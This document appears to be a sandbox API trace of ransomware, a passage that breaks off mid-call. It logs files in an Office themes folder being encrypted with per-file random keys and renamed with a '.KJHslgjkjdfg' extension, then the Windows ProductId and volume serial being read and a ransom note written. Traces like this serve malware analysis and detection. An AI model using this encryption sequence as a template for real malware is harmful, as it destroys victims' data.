1 [0172.939] GetProcessHeap () returned 0x990000 [0172.939] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.939] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.939] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.939] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.940] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.940] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.940] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.940] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.940] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.940] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.940] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.940] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.940] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f3, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1f3, lpOverlapped=0x0) returned 1 [0172.940] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x200, dwBufLen=0x200 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x200) returned 1 [0172.941] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.941] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x200, lpOverlapped=0x0) returned 1 [0172.941] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.941] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.941] SetEndOfFile (hFile=0x12c) returned 1 [0172.944] GetProcessHeap () returned 0x990000 [0172.944] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.944] GetProcessHeap () returned 0x990000 [0172.944] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.944] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf.kjhslgjkjdfg")) returned 1 [0172.956] CloseHandle (hObject=0x12c) returned 1 [0172.956] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0172.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.957] GetProcessHeap () returned 0x990000 [0172.957] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.957] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.957] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.957] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.957] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.957] GetProcessHeap () returned 0x990000 [0172.957] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.958] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.958] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.958] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.960] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.960] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.960] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.961] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.961] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.961] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.961] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.961] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.961] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4d0, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x4d0, lpOverlapped=0x0) returned 1 [0172.961] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x4d0) returned 1 [0172.961] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.961] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x4d0, lpOverlapped=0x0) returned 1 [0172.961] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.961] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x5a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.961] SetEndOfFile (hFile=0x12c) returned 1 [0172.964] GetProcessHeap () returned 0x990000 [0172.964] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.964] GetProcessHeap () returned 0x990000 [0172.964] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.964] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.kjhslgjkjdfg")) returned 1 [0172.972] CloseHandle (hObject=0x12c) returned 1 [0172.972] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0172.972] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.973] GetProcessHeap () returned 0x990000 [0172.973] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.973] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.973] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.973] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x3, lpOverlapped=0x0) returned 1 [0172.976] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.976] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.976] GetProcessHeap () returned 0x990000 [0172.976] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.976] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.976] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.976] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.976] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.976] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.977] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.977] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.977] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.977] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.977] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.977] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.977] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x47ed, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x47ed, lpOverlapped=0x0) returned 1 [0172.978] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x47f0, dwBufLen=0x47f0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x47f0) returned 1 [0172.979] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.979] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x47f0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x47f0, lpOverlapped=0x0) returned 1 [0172.979] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.979] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x48c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.979] SetEndOfFile (hFile=0x12c) returned 1 [0172.982] GetProcessHeap () returned 0x990000 [0172.982] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.982] GetProcessHeap () returned 0x990000 [0172.982] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.982] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0172.988] CloseHandle (hObject=0x12c) returned 1 [0172.988] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0172.988] GetProcessHeap () returned 0x990000 [0172.988] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.988] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.988] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0172.988] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.988] GetProcessHeap () returned 0x990000 [0172.988] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0172.988] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.989] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0172.989] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.989] GetProcessHeap () returned 0x990000 [0172.989] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fb9f0 [0172.989] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.989] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fb9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fb9f0, pdwDataLen=0x29dee20) returned 1 [0172.989] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.989] GetProcessHeap () returned 0x990000 [0172.989] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0172.989] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.989] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0172.989] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.989] GetProcessHeap () returned 0x990000 [0172.989] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0172.989] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.989] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0172.989] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.989] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0172.989] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0172.990] RegCloseKey (hKey=0x12c) returned 0x0 [0172.990] GetProcessHeap () returned 0x990000 [0172.990] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0172.990] GetProcessHeap () returned 0x990000 [0172.990] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0172.990] GetProcessHeap () returned 0x990000 [0172.990] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0172.990] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.990] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0172.990] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.990] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0172.990] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0172.991] GetProcessHeap () returned 0x990000 [0172.991] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0172.991] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0172.991] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0172.991] GetProcessHeap () returned 0x990000 [0172.991] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0172.991] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\readme-warning.txt") returned 82 [0172.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.064] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0173.065] CloseHandle (hObject=0x12c) returned 1 [0173.065] GetProcessHeap () returned 0x990000 [0173.066] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fb9f0 | out: hHeap=0x990000) returned 1 [0173.066] GetProcessHeap () returned 0x990000 [0173.066] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0173.066] GetProcessHeap () returned 0x990000 [0173.066] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0173.066] GetProcessHeap () returned 0x990000 [0173.066] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0173.066] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0173.066] GetProcessHeap () returned 0x990000 [0173.066] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0173.066] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0173.066] GetProcessHeap () returned 0x990000 [0173.066] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b0940 [0173.066] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0173.068] GetProcessHeap () returned 0x990000 [0173.068] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0173.068] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0173.068] FindNextFileW (in: 